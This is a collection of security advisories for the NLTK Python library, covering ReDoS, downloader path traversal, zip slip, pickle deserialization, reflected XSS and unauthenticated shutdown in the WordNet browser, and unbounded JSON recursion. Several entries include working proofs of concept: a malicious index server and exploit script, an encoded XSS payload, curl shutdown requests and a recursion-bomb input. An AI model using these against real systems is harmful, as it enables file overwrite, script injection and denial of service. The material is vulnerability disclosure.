Python/nltk/3.2.4

NLTK Vulnerable to REDoS

The nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [_read_comparison_block()(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file nltk/corpus/reader/comparative_sents.py may cause an application to consume an excessive amount of CPU.

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
2. Arbitrary File Creation: Create arbitrary files
3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(download_dir, info.filename) - Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True) - Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

1. System File Overwrite

Reproduction Steps

Environment Setup

1. Install NLTK bash pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server bash python3 malicious_server.py

Step 2: Run exploit script bash python3 exploit_vulnerability.py

Step 3: Verify results bash ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")

    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)

    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

NLTK has a Zip Slip Vulnerability

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

ntlk unsafe deserialization vulnerability

NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averagedperceptrontagger and punkt.

Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)

Impact

The vulnerability is present in PunktSentenceTokenizer, sent_tokenize and word_tokenize. Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example: ```python from nltk.tokenize import word_tokenize

n = 8 for length in [10**i for i in range(2, n)]: # Prepare a malicious input text = a * length startt = time.time() # Call `wordtokenizeand naively measure the execution time word_tokenize(text) print(f"A length of {length:<{n}} takes {time.time() - start_t:.4f}s") Which gave the following output during testing: python A length of 100 takes 0.0060s A length of 1000 takes 0.0060s A length of 10000 takes 0.6320s A length of 100000 takes 56.3322s ... `` I canceled the execution of the program after running it for several hours.

If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.

Patches

The problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result: python A length of 100 takes 0.0070s A length of 1000 takes 0.0010s A length of 10000 takes 0.0060s A length of 100000 takes 0.0400s A length of 1000000 takes 0.3520s A length of 10000000 takes 3.4641s This output shows a linear relationship in execution time versus input length, which is desirable for regular expressions. We recommend updating to NLTK 3.6.6+ if possible.

Workarounds

The execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.

References

• The issue showcasing the vulnerability: https://github.com/nltk/nltk/issues/2866
• The pull request containing considerably more information on the vulnerability, and the fix: https://github.com/nltk/nltk/pull/2869
• The commit containing the fix: 1405aad979c6b8080dbbc8e0858f89b2e3690341
• Information on CWE-1333: Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html

For more information

If you have any questions or comments about this advisory: * Open an issue in github.com/nltk/nltk * Email us at nltk.team@gmail.com

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

• nltk/app/wordnet_app.py:144

  • Requests starting with lookup_ are handled as HTML responses:
  • page, word = page_from_href(sp)

• nltk/app/wordnet_app.py:755

  • page_from_href() calls page_from_reference(Reference.decode(href))

• nltk/app/wordnet_app.py:769

  • word = href.word

• nltk/app/wordnet_app.py:796

  • If no results are found, word is inserted directly into the HTML body:
  • body = "The word or words '%s' were not found in the dictionary." % word

This is inconsistent with the search route, which does escape user input:

• nltk/app/wordnet_app.py:136
  • word = html.escape(...)

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

• Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
• The decoded word is reflected into HTML without html.escape().
• The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC

1. Start the WordNet Browser in an isolated Docker environment:

docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"

1. Use the following crafted payload, which decodes to:

("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=

1. Request the vulnerable route:

curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="

1. Observed result:

The word or words '<script>alert(1)</script>' were not found in the dictionary.

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True

Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

• run arbitrary script in the browser tab
• manipulate the page content shown to the user
• issue same-origin requests to other WordNet Browser routes
• potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

Unauthenticated remote shutdown in nltk.app.wordnet_app

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

• nltk/app/wordnet_app.py:242

  • The server listens on all interfaces:
  • server = HTTPServer(("", port), MyServerHandler)

• nltk/app/wordnet_app.py:87

  • Incoming requests are checked for the exact path:
  • if unquote_plus(sp) == "SHUTDOWN THE SERVER":

• nltk/app/wordnet_app.py:88

  • The shutdown protection only depends on server_mode

• nltk/app/wordnet_app.py:93

  • In the default mode (runBrowser=True, therefore server_mode=False), the handler terminates the process directly:
  • os._exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

1. Start the WordNet Browser in Docker in its default mode:

docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"

1. Confirm the service is reachable:

curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200

1. Trigger shutdown:

curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000

1. Verify the service is no longer available:

curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

• the route is accessible over HTTP
• no authentication or CSRF-style confirmation is required
• the server listens on all interfaces by default
• the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

NLTK Vulnerable To Path Traversal

NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Summary

JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.

Affected code

File: nltk/jsontags.py, lines 47–52 python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj)

Proof of Concept

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

Impact

Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).

Suggested Fix

Add a depth parameter with a hard limit: python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj)

NLTK Vulnerable to REDoS

NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions get_pos_tagger and malt_regex_tagger.